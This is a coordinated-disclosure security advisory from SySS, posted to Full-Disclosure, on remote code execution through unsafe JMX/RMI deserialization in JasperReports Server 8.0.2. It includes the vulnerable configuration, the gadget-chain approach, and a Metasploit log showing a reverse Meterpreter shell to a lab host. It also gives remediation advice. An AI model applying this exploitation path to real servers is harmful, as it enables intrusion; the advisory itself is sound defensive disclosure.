lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 9 Sep 2022 16:11:01 +0200
From: Moritz Bechler <moritz.bechler@...s.de>
To: <fulldisclosure@...lists.org>
Subject: [FD] [SYSS-2022-041] Remote Code Execution due to unsafe JMX
 default configuration in JasperReports Server

Advisory ID:               SYSS-2022-041
Product:                   JasperReports Server
Manufacturer:              TIBCO Software Inc.
Tested Version(s):         8.0.2 Community Edition
Vulnerability Type:        CWE-502: Deserialization of Untrusted Data
Risk Level:                High
Solution Status:           Fixed
Manufacturer Notification: 2022-06-10
Solution Date:             2022-08-10
Public Disclosure:         2022-09-09
CVE Reference:             None assigned
Author of Advisory:        Moritz Bechler, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

The manufacturer describes the product as follows (see [1]):

"TIBCO JasperReports(R) Server is a stand-alone and embeddable
reporting server. It provides reporting and analytics that can
be embedded into a web or mobile application as well as operate
as a central information hub for the enterprise by delivering
mission critical information on a real-time or scheduled basis
to the browser, mobile device, or email inbox in a variety of
file formats."

Due to JMX/RMI services performing unsafe deserialization, it is
possible to execute arbitrary code and system commands on the
server system.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The JasperReports Server web application spawns a non-standard JMX
diagnostic server exposed under the RMI name "jasperserver". The relevant
configuration is found in WEB-INF/js.diagnostic.properties:
------
#Diagnostic default remote access configuration
diagnostic.usePlatformJMXServer = false
diagnostic.port = 10990
diagnostic.name = jasperserver
diagnostic.rmiHost = localhost
------

It is also found in WEB-INF/applicationContext-diagnostic.xml:
------
<!--Bean which create Connector to JMS Servercan be disabled if not Using separate JMX Server-->
<bean id="jasperJMXServerConnector" class="org.springframework.jmx.support.ConnectorServerFactoryBean" lazy-init="false">
		<property name="server" ref="jasperJMXServer"/>
		<property name="objectName" value="connector:name=rmi"/>
		<property name="serviceUrl" value="service:jmx:rmi:///jndi/rmi://${diagnostic.rmiHost}:${diagnostic.port}/${diagnostic.name}"/>
		<property name="environmentMap">
				<map>
						<entry key="jmx.remote.authenticator" value-ref="jMXAuthenticator"/>
				</map>
		</property>
</bean>
------


While the hostname for the RMI bind is specified as localhost, this does,
in fact, not set the bind address and both the registry and the
(random) object port are reachable over the network. Only the returned
reference address is broken, as it points to the local address, but
this can be adjusted for exploitation.

And while various security patches have implemented type restrictions
for the fundamental RMI services (DGC, Registry) and the JMX authentication,
the latter is not applied in this case. It is only active if the following
property is set: "jmx.remote.rmi.server.credential.types".

For a regular JMX server, this is configured by the standard
library's JMX ConnectorBootstrap; however, this is not the case for the custom
JMX server created through Spring's ConnectorServerFactoryBean.

Therefore, the RMIServer.newClient endpoint performs unrestricted,
unsafe deserialization and can be exploited using one of the known,
published gadget chains (e.g. from ysoserial[5]) in one of the libraries
bundled by the server. These allow for execution of arbitrary bytecode and/or
system commands on the server.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

JasperReports Server (CE) was installed according to the documentation[4]
on a Debian 11 system running Tomcat 9.0.43-2~deb11u3 and OpenJDK 11.0.15.

After the successful initial setup, a new RMI service can be observed on TCP
port 10990:

------
PORT      STATE SERVICE  VERSION
10990/tcp open  java-rmi Java RMI
| rmi-dumpregistry:
|   jasperserver
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:39297
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
------

Using a custom Metasploit module, calls on the exposed RMI object can
be made (calling JMX's RMIServer.newClient(Object creds)). The module
is capable of identifying known exploitable types on the remote classpath
and sending malicious crafted objects. These, when deserialized by the remote
RMI server, spawn a Java Meterpreter instance and open a reverse shell.

------
msf6 exploit(multi/java/rmi_server) >
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] payload/java/classfile/meterpreter/reverse_tcp
[*] Trying bytecode execution
[*] Found RMI Registry with 1 registered objects
[+] Registry lookup() name argument is filtered
[*] Bind access check before deserialization
[*] DGC found
[+] DGC filters parameter types
[*] Found 1 referenced objects, following references
[*] Custom object found jasperserver
[*] Trying with original host 192.168.56.106 port 39297
[*] Method/interface hash -1089742558549201240 method id -1
[*] Initial test returned error java.lang.SecurityException
[-] Incompatible commons-fileupload
[*] Identified 1 attack vector(s), gadgets ["hashdos", "beanutils",
  "hibernate", "hibernate-validator", "spring-typeprov", "spring-jta", "rhino"]
[*] Skipping gadget hashdos based on config
[*] Sending stage (53921 bytes) to 192.168.56.106
[...]
[*] Waiting for exploit to complete...
[*] Have session...
[*] Server stopped.
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.106:46828) at 2022-06-09 13:39:40 +0200
-------


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Disable the JMX server as per documentation, as per section 9.12 of [6].
Update to version 8.1.0 which disables the JMX service by default.
Do not enable the Diagnostic JMX Server.
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2022-06-08: Vulnerability discovered
2022-06-10: Vulnerability reported to manufacturer
2022-08-10: Patch released by manufacturer
2022-09-09: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for JasperReports Server
     https://community.jaspersoft.com/project/jasperreports-server
[2] SySS Security Advisory SYSS-2022-041
     https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-041.txt
[3] SySS Responsible Disclosure Policy
     https://www.syss.de/en/responsible-disclosure-policy
[4] TIBCO JasperReports Server Community Edition Release Notes
     https://community.jaspersoft.com/documentation/tibco-jasperreports-server-community-edition-release-notes/v750/installation-and-basic
[5] ysoserial
     https://github.com/frohoff/ysoserial/
[6] JasperReports Server Administrator Guide
     https://docs.tibco.com/pub/js-jrs/8.0.2/doc/pdf/TIB_js-jrs_8.0.0_Admin-Guide.pdf?id=5

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Moritz Bechler of SySS GmbH.

E-Mail: moritz.bechler@...s.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Bechler.asc
Key ID: 0x768EFE2BB3E53DDA
Key Fingerprint: 2C8F F101 9D77 BDE6 465E  CCC2 768E FE2B B3E5 3DDA

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Powered by blists - more mailing lists